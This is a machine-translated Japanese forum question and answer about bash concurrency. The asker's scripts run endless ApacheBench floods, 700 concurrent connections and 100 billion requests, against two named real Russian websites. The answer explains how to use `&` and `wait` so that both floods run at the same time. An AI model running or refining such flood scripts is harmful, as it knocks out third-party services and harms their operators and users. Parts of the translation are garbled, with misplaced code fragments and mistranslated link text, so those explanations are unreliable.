次のスクリプトを実行してください。
#!/usr/bin/bash
while true
do
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post & ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
done
同じことをする
#!/usr/bin/bash
while true
do
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post
ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
done
私の経験によれば、最初のスクリプトはnalog
2番目のスクリプト(10分以上後)よりも速く(数秒以内)ファイルを生成し、後者がab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
完了するのを待つ必要があることを示しています。このようなことはあってはいけません。なぜなら私が今まで研究したことは2番目のスクリプトは完了をab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
待たずに起動するように設計されていますab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post
。これら2つのab
コマンドを同時に実行したいのですが、Bashでこれを達成できますか?
PSはい&
、いいえ&&
。私は&&
それが何であるかを知っており、ここに適用したくありません。
答え1
いいえ、cmd1 [newline] cmd2
前者のように同時ではありませんcmd1 & cmd2
。前者はcmd1
始める前に完了するのを待ちますcmd2
。
最初のコマンドの実行中に実行を続行する&
には、コマンドを2行に分割してもそれを維持する必要があります。
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post & ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
~になる
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post &
ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
もう一度繰り返す前に両方のコマンドが完了したことを確認するには、を使用できますwait
。
他のシェル構成も並行性を提供します。特に、パイプ(または2つの出力ストリームをリダイレクトするために使用される一部のa | b
シェルのバリエーション)は、続行する前に両方が完了するまで実行して待ちます。一部のシェルは補助プロセスもサポートしています(参照:a |& b
a
b
さまざまなシェルでcoprocコマンドを使用する方法は?)とプロセスの置き換え(参照:さまざまなシェルでcoprocコマンドを使用する方法は?) を使用してコマンドを同時に実行できます。
バラよりシェルの制御およびリダイレクト演算子は何ですか?リスト終了者(含む&
)とパイプ演算子の詳細。
a
¹セカンダリプロセスとして実行されているkshは除外されます。